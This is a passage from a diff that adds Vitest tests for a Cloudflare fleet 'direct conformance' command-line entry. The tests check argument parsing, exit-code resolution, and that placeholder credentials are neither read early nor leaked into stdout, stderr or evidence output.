+          if (DIRECT_CREDENTIAL_VARIABLES.includes(key as string))
+            reads.push(key as string);
+          return Reflect.get(target, key);
+        },
+      },
+    );
+    // The two observations the entry's own callbacks would swallow are
+    // captured here and asserted after the call completes.
+    let readsAtPreflight: string[] | undefined;
+    let readsAfterRun: string[] | undefined;
+    const result = await entryWithRuntime(async (input) => {
+      const result = await runDirectConformance({
+        ...input,
+        modules: {
+          preflight: async () => {
+            readsAtPreflight = [...reads];
+            return f.prepared;
+          },
+          distPresent: () => false,
+        },
+      });
+      readsAfterRun = [...reads];
+      return result;
+    }, credentials);
+    expect(readsAtPreflight).toEqual([]);
+    expect(readsAfterRun).toEqual([...DIRECT_CREDENTIAL_VARIABLES]);
+    expect(result.code).toBe(2);
+    expect(result.stdout).toContain('dist-missing');
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it('arms the entry guard for a live refusal returned before the credential read', async () => {
+    const credentials = {
+      CLOUDFLARE_ACCOUNT_ID: 'account',
+      CLOUDFLARE_API_TOKEN: 'FLEET_DIRECT_CONFORMANCE_CONFIG',
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'private-invoke-seed',
+    };
+    const withheld = await child(
+      process.execPath,
+      [entry, '--run'],
+      undefined,
+      credentials,
+    );
+    expect(withheld).toEqual({
+      code: 5,
+      stdout: '',
+      stderr: '',
+    });
+    const line = invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG');
+    const printed = await child(process.execPath, [entry, '--run'], undefined, {
+      ...credentials,
+      CLOUDFLARE_API_TOKEN: 'private-api-seed',
+    });
+    expect(printed.code).toBe(2);
+    expect(printed.stdout).toBe(`${DIRECT_OUTPUT_PREFIX}${line}`);
+    expect(printed.stderr).toBe(line);
+  });
+
+  it.each(
+    DIRECT_ADMISSION_VARIABLES,
+  )('emits the diagnostic of the loop that refused %s', async (variable) => {
+    const f = await fixture();
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: f.configPath,
+      env: { ...env, [variable]: '' },
+      modules: { preflight: async () => f.prepared },
+    });
+    // The line travels with the refusal, so it names the variable the loop
+    // refused whatever a decoded summary says.
+    expect(result).toEqual({
+      exitCode: 2,
+      summary: { code: 'invalid-input', variable },
+      evidencePath: null,
+      stdoutLine: null,
+      stderrLine: invalidInputLine(variable),
+      stderrOnly: true,
+    });
+    expectCredentialSafeOutput(result, { ...env, [variable]: '' });
+  });
+
+  it('resolves terminal exit codes with evidence failure before internal error and stable ties', () => {
+    const codes = [0, 1, 2, 3, 4, 5];
+    const expected = [
+      [0, 1, 0, 0, 0, 5],
+      [1, 1, 1, 1, 1, 5],
+      [2, 1, 2, 2, 2, 5],
+      [3, 1, 3, 3, 3, 5],
+      [4, 1, 4, 4, 4, 5],
+      [5, 5, 5, 5, 5, 5],
+    ];
+    for (const next of codes) {
+      expect(resolveDirectExitCode(null, next)).toBe(next);
+      for (const current of codes)
+        expect(resolveDirectExitCode(current, next)).toBe(
+          expected[current]?.[next],
+        );
+    }
+  });
+
+  it.each([
+    'Promise.reject(new Error("secret-stack"))',
+    'throw new Error("secret-stack")',
+  ])('prints help and a later timer error with noncolliding credentials (%s)', async (failure) => {
+    const { preload } = await preloaded(
+      `const write = process.stdout.write.bind(process.stdout);
+process.stdout.write = (...args) => {
+  const result = write(...args);
+  setTimeout(() => { ${failure}; }, 0);
+  return result;
+};\n`,
+    );
+    const result = await child(
+      process.execPath,
+      ['--import', preload, entry, '--help'],
+      undefined,
+      env,
+    );
+    expect(result.code).toBe(1);
+    expect(result.stdout).toBe(
+      `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`,
+    );
+    expect(result.stderr).toBe('{"code":"internal-error"}\n');
+  });
+
+  it('preserves an internal error when help completion subsequently sets its exit code', async () => {
+    const { preload } = await preloaded(
+      `const write = process.stdout.write.bind(process.stdout);
+process.stdout.write = (...args) => {
+  process.emit('unhandledRejection', new Error('secret-stack'));
+  return write(...args);
+};\n`,
+    );
+    const result = await child(process.execPath, [
+      '--import',
+      preload,
+      entry,
+      '--help',
+    ]);
+    expect(result.code).toBe(1);
+    expect(result.stdout).toMatch(/^DIRECT_CONFORMANCE \{"usage":"Usage: /);
+    expect(result.stderr).toBe('{"code":"internal-error"}\n');
+  });
+
+  it.each([
+    ['--bad'],
+    ['--run', '--resume'],
+    ['--run', '--run'],
+    ['value'],
+    ['--run=true'],
+    ['--help', '--run'],
+    ['--', '--', '--run'],
+    ['--preflight', '--'],
+  ])('refuses invalid argv %j without effects', async (...argv) => {
+    const f = await fixture();
+    expect(parseDirectConformanceArgs(argv)).toBeNull();
+    const result = await child(process.execPath, [entry, ...argv], undefined, {
+      FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+    });
+    expect(result.code).toBe(2);
+    expect(result.stdout).toBe('');
+    expect(result.stderr).toBe(DIRECT_USAGE_DIAGNOSTIC);
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    [],
+    ['--preflight'],
+    ['--', '--preflight'],
+    ['--'],
+  ])('accepts preflight argv %j', (...argv) => {
+    expect(parseDirectConformanceArgs(argv)).toBe('preflight');
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+    undefined,
+  ])('prints exact help without reading credentials or configuration (%s)', async (variable) => {
+    const probed = [
+      ...DIRECT_CREDENTIAL_VARIABLES,
+      'FLEET_DIRECT_CONFORMANCE_CONFIG',
+    ];
+    const { f, preload } = await preloaded((directory) => {
+      const path = JSON.stringify(join(directory, 'reads.json'));
+      return `import { writeFileSync } from 'node:fs';
+const reads = [];
+process.env = new Proxy(process.env, {
+  get(target, key) {
+    if (${JSON.stringify(probed)}.includes(key)) reads.push(key);
+    return Reflect.get(target, key);
+  },
+});
+process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`;
+    });
+    const readsPath = join(f.directory, 'reads.json');
+    const result = await child(
+      process.execPath,
+      ['--import', preload, entry, '--help'],
+      undefined,
+      {
+        ...(variable ? { [variable]: 'DIRECT_CONFORMANCE' } : {}),
+        FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+      },
+      {},
+    );
+    const stdout = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`;
+    expect(result).toEqual({ code: 0, stdout, stderr: '' });
+    // Help is exempt from both reads in the same expression: the credentials
+    // and the configuration path.
+    expect(JSON.parse(await readFile(readsPath, 'utf8'))).toEqual([]);
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('prints local preflight without reading colliding %s', async (variable) => {
+    const { f, preload } = await preloaded(
+      `process.env = new Proxy(process.env, {
+  get(target, key) {
+    if (${JSON.stringify(DIRECT_CREDENTIAL_VARIABLES)}.includes(key)) throw new Error('credential-read');
+    return Reflect.get(target, key);
+  },
+});\n`,
+    );
+    const result = await child(
+      process.execPath,
+      ['--import', preload, entry, '--preflight'],
+      undefined,
+      {
+        [variable]: 'DIRECT_CONFORMANCE',
+        FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+      },
+      {},
+    );
+    expect(result.code).toBe(0);
+    expect(result.stdout).toBe(
+      `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({
+        configSha256: f.prepared.configSha256,
+        referenceModuleSetSha256: f.prepared.referenceModuleSetSha256,
+        referenceUploadBytes: f.prepared.referenceUploadBytes,
+        names: f.prepared.names,
+      })}\n`,
+    );
+    expect(result.stderr).toBe('');
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it('prints the exact help line without configuration or credentials', async () => {
+    const result = await runDirectConformance({
+      mode: 'help',
+      configPath: undefined,
+      env: {},
+    });
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toHaveProperty('usage');
+    expectCredentialSafeOutput(result, {});
+    const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`;
+    expect(result.stdoutLine).toBe(expected);
+  });
+
+  it.each([
+    'CLOUDFLARE_ACCOUNT_ID',
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('refuses invalid %s after preflight without locking', async (variable) => {
+    const f = await fixture(1000);
+    for (const value of [
+      undefined,
+      '',
+      ' padded',
+      'padded ',
+      'in\nternal',
+      'in\u007fternal',
+      'in\u0000ternal',
+    ]) {
+      const openRunState = vi.fn();
+      const preflight = vi.fn(async () => f.prepared);
+      const result = await runDirectConformance({
+        mode: 'run',
+        configPath: f.configPath,
+        env: { ...env, [variable]: value },
+        modules: { preflight, openRunState },
+        now,
+      });
+      expect(result).toMatchObject({
+        exitCode: 2,
+        summary: { code: 'invalid-input', variable },
+      });
+      expectCredentialSafeOutput(result, { ...env, [variable]: value });
+      expect(preflight).toHaveBeenCalledOnce();
+      expect(openRunState).not.toHaveBeenCalled();
+      expect(existsSync(f.base)).toBe(false);
+    }
+  });
+
+  it.each([
+    undefined,
+    '',
+    ' padded',
+    'bad\npath',
+  ])('refuses invalid config environment %s', async (configPath) => {
+    const preflight = vi.fn();
+    const result = await runDirectConformance({
+      mode: 'preflight',
+      configPath,
+      env: {},
+      modules: { preflight },
+    });
+    expectCredentialSafeOutput(result, {});
+    expect(result).toMatchObject({
+      exitCode: 2,
+      summary: { variable: 'FLEET_DIRECT_CONFORMANCE_CONFIG' },
+    });
+    expect(preflight).not.toHaveBeenCalled();
+  });
+
+  it('sanitizes local preflight failure and never creates state', async () => {
+    const f = await fixture();
+    await writeFile(f.configPath, 'not json private-api-seed');
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: f.configPath,
+      env,
+      now,
+    });
+    expect(result).toMatchObject({
+      exitCode: 2,
+      summary: { code: 'preflight-failed' },
+    });
+    expectCredentialSafeOutput(result);
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    '--preflight',
+    '-- --preflight',
+  ])('spawns a valid local %s entry with one summary', async (args) => {
+    const f = await fixture();
+    const result = await child(
+      process.execPath,
+      [entry, ...args.split(' ')],
+      undefined,
+      { FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath },
+    );
+    expect(result.code).toBe(0);
+    const lines = result.stdout.trim().split('\n');
+    expect(lines).toHaveLength(1);
+    expect(lines[0]).toMatch(/^DIRECT_CONFORMANCE /);
+    expect(
+      JSON.parse(lines[0]?.slice('DIRECT_CONFORMANCE '.length) ?? ''),
+    ).toMatchObject({
+      configSha256: f.prepared.configSha256,
+      referenceModuleSetSha256: f.prepared.referenceModuleSetSha256,
+      referenceUploadBytes: f.prepared.referenceUploadBytes,
+      names: f.prepared.names,
+    });
+    expect(result.stderr).toBe('');
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it('sanitizes a rejected promise in the spawned entry', async () => {
+    const result = await child(process.execPath, [
+      '--input-type=module',
+      '-e',
+      `await import(${JSON.stringify(entry)}); Promise.reject(new Error('secret-stack'));`,
+    ]);
+    expect(result.code).toBe(1);
+    expect(result.stderr).toBe(
+      invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG') +
+        DIRECT_INTERNAL_ERROR_DIAGNOSTIC,
+    );
+    expect(result.stderr).not.toContain('secret-stack');
+    expect(result.stderr).not.toContain(' at ');
+  });
+
+  it('is evidence-only when a settled teardown meets the resume ceiling', async () => {
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+      resumeCount: DIRECT_RUN_MAX_RESUME_COUNT,
+    });
+    const before = JSON.stringify(w.snapshot());
+    const result = await w.run();
+    expect(result.exitCode).toBe(0);
+    expect(w.modules.bootstrap).not.toHaveBeenCalled();
+    expect(w.modules.scenario).not.toHaveBeenCalled();
+    expect(w.modules.teardown).not.toHaveBeenCalled();
+    expect(w.journal.recordResume).toHaveBeenCalledOnce();
+    expect(JSON.stringify(w.snapshot())).toBe(before);
+    expect(w.journal.close).toHaveBeenCalledOnce();
+    expect(result.summary).toMatchObject({
+      status: 'cleaned',
+      teardownCall: null,
+      retainedIdentities: NO_RETAINED_IDENTITIES,
+    });
+  });
+
+  it.each([
+    'refused',
+    'ingress',
+    'complete',
+  ] as const)('consumes teardown phase %s before bootstrap or scenario', async (phase) => {
+    const w = await world();
+    w.set({
+      teardown: { ...teardownState(), phase, failure: 'scenario-incomplete' },
+    });
+    retained(w, phase === 'refused', 'scenario-incomplete');
+    for (let call = 0; call < 2; call++) {
+      const result = await w.run();
+      expect(result.exitCode).toBe(phase === 'refused' ? 1 : 4);
+      expect(result.summary).toMatchObject({
+        teardownCall: {
+          status: 'retained',
+          failure: { code: 'scenario-incomplete' },
+          providerRequests: 9,
+        },
+      });
+    }
+    expect(w.modules.bootstrap).not.toHaveBeenCalled();
+    expect(w.modules.scenario).not.toHaveBeenCalled();
+    expect(w.modules.teardown).toHaveBeenCalledTimes(2);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('retains a scenario failure with published refusal=%s', async (publish) => {
+    const w = await world();
+    w.set({
+      scenario: {
+        ...completeScenario(),
+        failure: {
+          code: 'budget-exhausted',
+          ordinal: 1,
+          detail: 'run-reserve',
+        },
+      },
+    });
+    retained(w, publish);
+    const result = await w.run();
+    expect(result.exitCode).toBe(publish ? 1 : 4);
+    expect(result.summary).toMatchObject({
+      scenario: {
+        failure: {
+          code: 'budget-exhausted',
+          ordinal: 1,
+          detail: 'run-reserve',
+        },
+      },
+    });
+    expect(w.modules.bootstrap).not.toHaveBeenCalled();
+    expect(w.modules.scenario).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    false,
+    true,
+  ])('maps a returned outcome with retained=%s and no published refusal', async (retain) => {
+    const w = await world();
+    w.set({ scenario: completeScenario() });
+    if (retain) retained(w, false);
+    const result = await w.run();
+    expect(result.exitCode).toBe(retain ? 4 : 0);
+    expect(w.modules.bootstrap).not.toHaveBeenCalled();
+    expect(w.modules.scenario).not.toHaveBeenCalled();
+    expect(w.modules.teardown).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'run',
+    'resume',
+  ] as const)('bootstraps a fresh %s and closes on restart without teardown', async (mode) => {
+    const w = await world();
+    const result = await w.run(mode);
+    expect(result.exitCode).toBe(3);
+    expect(w.modules.bootstrap).toHaveBeenCalledOnce();
+    expect(w.modules.scenario).toHaveBeenCalledOnce();
+    expect(w.modules.teardown).not.toHaveBeenCalled();
+    expect(w.journal.close).toHaveBeenCalledOnce();
+    expect(w.journal.recordResume).toHaveBeenCalledTimes(
+      mode === 'resume' ? 1 : 0,
+    );
+    expect(result.summary).toMatchObject({
+      command: 'pnpm fleet-control:credentialed:direct -- --resume',
+    });
+  });
+
+  it.each([
+    'complete',
+    'failed',
+  ] as const)('calls teardown after %s', async (status) => {
+    const w = await world();
+    w.modules.scenario.mockImplementation(async () =>
+      status === 'failed'
+        ? { status, reason: 'journal-failed', phase: null, invocationCount: 0 }
+        : {
+            status,
+            facts: completeScenario().proofs,
+            invocationCount: 0,
+            attempts: { provider: 0, maintenance: 0, application: 0 },
+            sdkRequests: 0,
+          },
+    );
+    retained(w, status === 'failed');
+    const result = await w.run();
+    expect(result.exitCode).toBe(status === 'failed' ? 1 : 4);
+    expect(w.modules.teardown).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('prints bootstrap-time outcome-unknown detail %s', async (detail) => {
+    const w = await world();
+    w.modules.bootstrap.mockRejectedValue(
+      new DirectBootstrapError('outcome-unknown', detail),
+    );
+    const result = await w.run('run');
+    expect(result.exitCode).toBe(1);
+    expect(result.summary).toMatchObject({
+      code: 'outcome-unknown',
+      detail,
+      scenario: null,
+    });
+    expect(result.stdoutLine).toContain(JSON.stringify(detail));
+    expectCredentialSafeOutput(result);
+  });
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('prints pending scenario failure detail %s without journal settlement', async (detail) => {
+    const w = await world();
+    const scenario = completeScenario();
+    const pending = {
+      ordinal: 1,
+      action: { kind: 'control-read' as const },
+      state: 'pending' as const,
+      requestSha256: 'a'.repeat(64),
+    };
+    w.modules.scenario.mockImplementation(async () => {
+      w.set({ invocationCount: 1, lastInvocation: pending, scenario });
+      return {
+        status: 'failed',
+        reason: 'outcome-unknown',
+        detail,
+        phase: scenario.phase,
+        invocationCount: 1,
+      };
+    });
+    const result = await w.run('run');
+    expect(result.summary).toMatchObject({
+      scenario: { failure: { code: 'outcome-unknown', ordinal: 1, detail } },
+    });
+    expect(w.snapshot().lastInvocation).toEqual(pending);
+    expect(w.snapshot().scenario?.failure).toBeNull();
+    expectCredentialSafeOutput(result);
+  });
+
+  it('uses inspection on outcome-unknown without recording a resume', async () => {
+    const w = await world();
+    w.modules.openRunState.mockRejectedValue(
+      new DirectRunStateError('outcome-unknown'),
+    );
+    const before = JSON.stringify(w.snapshot());
+    const result = await w.run();
+    expect(result.exitCode).toBe(1);
+    expect(result.summary).toMatchObject({
+      status: 'outcome-unknown',
+      evidenceWritten: true,
+    });
+    expect(JSON.stringify(w.snapshot())).toBe(before);
+    expect(w.journal.recordResume).not.toHaveBeenCalled();
+    expect(w.modules.inspectRunState).toHaveBeenCalledOnce();
+    expect(w.modules.teardown).not.toHaveBeenCalled();
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'run-exists',
+    'run-missing',
+    'lock-unavailable',
+    'invalid-state',
+    'unsupported-scenario-version',
+  ] as const)('reports open refusal %s without evidence', async (code) => {
+    const w = await world();
+    w.modules.openRunState.mockRejectedValue(new DirectRunStateError(code));
+    const result = await w.run();
+    expect(result).toMatchObject({
+      exitCode: 1,
+      summary: { code },
+      evidencePath: null,
+    });
+    expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false);
+    expect(w.modules.inspectRunState).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'run',
+    'resume',
+  ] as const)('refuses absent dist and sub-floor %s before acquiring a lock', async (mode) => {
+    const f = await fixture(680);
+    const openRunState = vi.fn();
+    for (const distPresent of [false, true]) {
+      const result = await runDirectConformance({
+        mode,
+        configPath: f.configPath,
+        env,
+        now,
+        modules: { distPresent: () => distPresent, openRunState },
+      });
+      expect(result).toMatchObject({
+        exitCode: 2,
+        summary: {
+          code: distPresent ? 'below-scenario-floor' : 'dist-missing',
+        },
+      });
+      expectCredentialSafeOutput(result);
+      if (!distPresent)
+        expect(result.summary).toHaveProperty('command', 'pnpm build');
+      expect(openRunState).not.toHaveBeenCalled();
+      expect(existsSync(f.base)).toBe(false);
+    }
+  });
+
+  it.each([
+    'private-api-seed',
+    'Bearer ',
+    'seed"token',
+    'seed\\token',
+  ])('redacts a colliding identity and exits 5 (%s)', async (sentinel) => {
+    const w = await world(sentinel);
+    const credentials = {
+      ...env,
+      CLOUDFLARE_API_TOKEN:
+        sentinel === 'Bearer ' ? env.CLOUDFLARE_API_TOKEN : sentinel,
+    };
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env: credentials,
+      now,
+      modules: w.modules,
+    });
+    expect(result).toMatchObject({
+      exitCode: 5,
+      summary: {
+        code: 'evidence-failed',
+        sentinelClass: sentinel === 'Bearer ' ? 'literal' : 'env-secret',
+        keyPath: 'retainedIdentities.fleetUuid',
+        evidenceWritten: false,
+      },
+    });
+    expectCredentialSafeOutput(result, credentials);
+    expect(result.stdoutLine).not.toContain(sentinel);
+    expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false);
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it('omits a cleaned status credential from row-1 refusal summaries and stdout bytes', async () => {
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env: { ...env, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'cleaned' },
+      now,
+      modules: w.modules,
+    });
+    expect(result.exitCode).toBe(5);
+    expect(result.summary).toEqual({
+      code: 'evidence-failed',
+      sentinelClass: 'env-secret',
+      keyPath: 'status',
+      evidenceWritten: false,
+    });
+    expect(result.summary).not.toHaveProperty('status');
+    const { stdout } = expectCredentialSafeOutput(result, {
+      ...env,
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'cleaned',
+    });
+    expect(Buffer.byteLength(stdout)).toBeLessThanOrEqual(4096);
+    expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false);
+  });
+
+  it('refuses a replacement-code credential before an existing-run check', async () => {
+    const f = await fixture(1000);
+    const openRunState = vi
+      .fn()
+      .mockRejectedValue(new DirectRunStateError('run-exists'));
+    const credentials = {
+      ...env,
+      CLOUDFLARE_API_TOKEN: 'run-exists',
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'evidence-failed',
+    };
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: f.configPath,
+      env: credentials,
+      now,
+      modules: { openRunState },
+    });
+    expect(result.exitCode).toBe(2);
+    expect(result.summary).toEqual({
+      code: 'invalid-input',
+      variable: 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+    });
+    expectCredentialSafeOutput(result, credentials);
+    expect(openRunState).not.toHaveBeenCalled();
+    expect(probes.sdk).not.toHaveBeenCalled();
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    `Bearer ${'x'.repeat(6993)}`,
+    env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET,
+  ])('prints the one inspected preflight serialization when toJSON later yields %s', async (forbidden) => {
+    const f = await fixture();
+    const safeSerializations = 1;
+    let serializations = 0;
+    const result = await runDirectConformance({
+      mode: 'preflight',
+      configPath: f.configPath,
+      env,
+      modules: {
+        preflight: async () => ({
+          ...f.prepared,
+          names: {
+            ...f.prepared.names,
+            toJSON: () =>
+              ++serializations <= safeSerializations ? 'safe' : forbidden,
+          },
+        }),
+      },
+    });
+    const serialized = result.stderrLine?.slice(0, -1);
+    expect(result.exitCode).toBe(0);
+    expect(serializations).toBe(1);
+    expect(serialized).toBe(
+      JSON.stringify({
+        configSha256: f.prepared.configSha256,
+        referenceModuleSetSha256: f.prepared.referenceModuleSetSha256,
+        referenceUploadBytes: f.prepared.referenceUploadBytes,
+        names: 'safe',
+      }),
+    );
+    expect(JSON.stringify(result.summary)).toBe(serialized);
+    expect(result.stdoutLine).toBe(
+      `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(result.summary)}\n`,
+    );
+    expectCredentialSafeOutput(result);
+    expect(result.stdoutLine).not.toContain(forbidden);
+    expect(result.stdoutLine).not.toContain('Bearer');
+  });
+
+  it('refuses a preflight summary whose first serialization yields a forbidden literal', async () => {
+    const f = await fixture();
+    let serializations = 0;
+    const result = await runDirectConformance({
+      mode: 'preflight',
+      configPath: f.configPath,
+      env,
+      modules: {
+        preflight: async () => ({
+          ...f.prepared,
+          names: {
+            ...f.prepared.names,
+            toJSON: () => {
+              serializations += 1;
+              return 'Bearer forbidden';
+            },
+          },
+        }),
+      },
+    });
+    expect(serializations).toBe(1);
+    expect(result.exitCode).toBe(5);
+    expect(result.summary).toMatchObject({
+      code: 'evidence-failed',
+      sentinelClass: 'literal',
+      keyPath: 'names',
+    });
+    expectCredentialSafeOutput(result);
+    expect(result.stdoutLine).not.toContain('Bearer');
+  });
+
+  it('prints inspected rawJSON resumeCount bytes without introducing a credential by reserialization', async () => {
+    const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): number })
+      .rawJSON;
+    const w = await world();
+    w.set({
+      resumeCount: rawJSON('1e3'),
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const credentials = { ...env, CLOUDFLARE_API_TOKEN: '"resumeCount":1000' };
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: w.f.configPath,
+      env: credentials,
+      modules: w.modules,
+      now,
+      git: () => null,
+    });
+    expectCredentialSafeOutput(result, credentials);
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toHaveProperty('resumeCount', 1000);
+    expect(JSON.stringify(result.summary)).toContain(
+      credentials.CLOUDFLARE_API_TOKEN,
+    );
+    const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(result.summary).replace('"resumeCount":1000', '"resumeCount":1e3')}\n`;
+    expect(result.stdoutLine).toBe(expected);
+    expect(result.stderrLine).toBe(expected.slice(DIRECT_OUTPUT_PREFIX.length));
+    expect(result.stdoutLine).not.toContain(credentials.CLOUDFLARE_API_TOKEN);
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('scans a credential spanning the prefix and a dynamic summary field (%s)', async (variable) => {
+    const secret = 'E {"status"';
+    expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe(
+      false,
+    );
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const credentials = { ...env, [variable]: secret };
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: w.f.configPath,
+      env: credentials,
+      modules: w.modules,
+      now,
+      git: () => null,
+    });
+    expectCredentialSafeOutput(result, credentials);
+    expect(result.exitCode).toBe(5);
+    expect(result.stdoutLine).toBe(
+      'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n',
+    );
+    expect(result.stderrLine).toBe(
+      '{"code":"evidence-failed","evidenceWritten":true}\n',
+    );
+    expect(DIRECT_FIXED_OUTPUT).toContain(result.stdoutLine);
+    expect(DIRECT_FIXED_OUTPUT).toContain(result.stderrLine);
+    expect(existsSync(result.evidencePath as string)).toBe(true);
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    4096, 4097,
+  ])('size-checks the assembled rawJSON preflight line at %s bytes before printing', async (bytes) => {
+    const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): object })
+      .rawJSON;
+    const f = await fixture();
+    const summary = {
+      configSha256: f.prepared.configSha256,
+      referenceModuleSetSha256: f.prepared.referenceModuleSetSha256,
+      referenceUploadBytes: f.prepared.referenceUploadBytes,
+      names: { padding: rawJSON('1.0') },
+    };
+    const baseline = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(summary)}\n`;
+    summary.names.padding = rawJSON(
+      `1.${'0'.repeat(bytes - Buffer.byteLength(baseline) + 1)}`,
+    );
+    const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(summary)}\n`;
+    expect(Buffer.byteLength(expected)).toBe(bytes);
+    expect(
+      Buffer.byteLength(JSON.stringify(JSON.parse(JSON.stringify(summary)))),
+    ).toBeLessThan(4096 - DIRECT_OUTPUT_PREFIX.length - 1);
+    const result = await runDirectConformance({
+      mode: 'preflight',
+      configPath: f.configPath,
+      env: {},
+      modules: {
+        preflight: async () => ({
+          ...f.prepared,
+          names: { ...f.prepared.names, toJSON: () => summary.names },
+        }),
+      },
+    });
+    expectCredentialSafeOutput(result, {});
+    // The oversized line is replaced; the preflight keeps the code it resolved.
+    expect(result.exitCode).toBe(0);
+    expect(result.stdoutLine).toBe(
+      bytes === 4096
+        ? expected
+        : 'DIRECT_CONFORMANCE {"code":"internal-error"}\n',
+    );
+    expect(Buffer.byteLength(result.stdoutLine as string)).toBeLessThanOrEqual(
+      4096,
+    );
+  });
+
+  it('keeps a failed run exit code when its oversized summary is replaced', async () => {
+    const w = await world();
+    w.set({
+      scenario: completeScenario(),
+      binding: { ...w.snapshot().binding, resourcePrefix: 'p'.repeat(4096) },
+    });
+    w.modules.teardown.mockRejectedValue(new DirectRunStateError());
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env,
+      modules: w.modules,
+      now,
+      git: () => null,
+    });
+    expectCredentialSafeOutput(result);
+    expect(result.stdoutLine).toBe(
+      'DIRECT_CONFORMANCE {"code":"internal-error"}\n',
+    );
+    expect(result.exitCode).toBe(1);
+  });
+
+  it('bounds a sentinel replacement whose key path exceeds the stdout byte limit', async () => {
+    const f = await fixture();
+    const result = await runDirectConformance({
+      mode: 'preflight',
+      configPath: f.configPath,
+      env: {},
+      modules: {
+        preflight: async () => ({
+          ...f.prepared,
+          names: { ...f.prepared.names, ['x'.repeat(4096)]: 'Bearer hidden' },
+        }),
+      },
+    });
+    expect(result.exitCode).toBe(5);
+    expectCredentialSafeOutput(result, {});
+    expect(result.summary).toEqual({
+      code: 'evidence-failed',
+      evidenceWritten: false,
+    });
+    expect(result.stdoutLine).toBe(
+      'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":false}\n',
+    );
+  });
+
+  it('omits status when evidence construction throws', async () => {
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env,
+      now: () => Number.NaN,
+      modules: w.modules,
+    });
+    expect(result.exitCode).toBe(5);
+    expectCredentialSafeOutput(result);
+    expect(result.summary).toEqual({
+      code: 'evidence-failed',
+      evidenceWritten: false,
+    });
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it('uses a minimal refusal when a diagnostic key path collides with a credential', async () => {
+    const secret = 'retainedIdentities.fleetUuid';
+    const w = await world(secret);
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
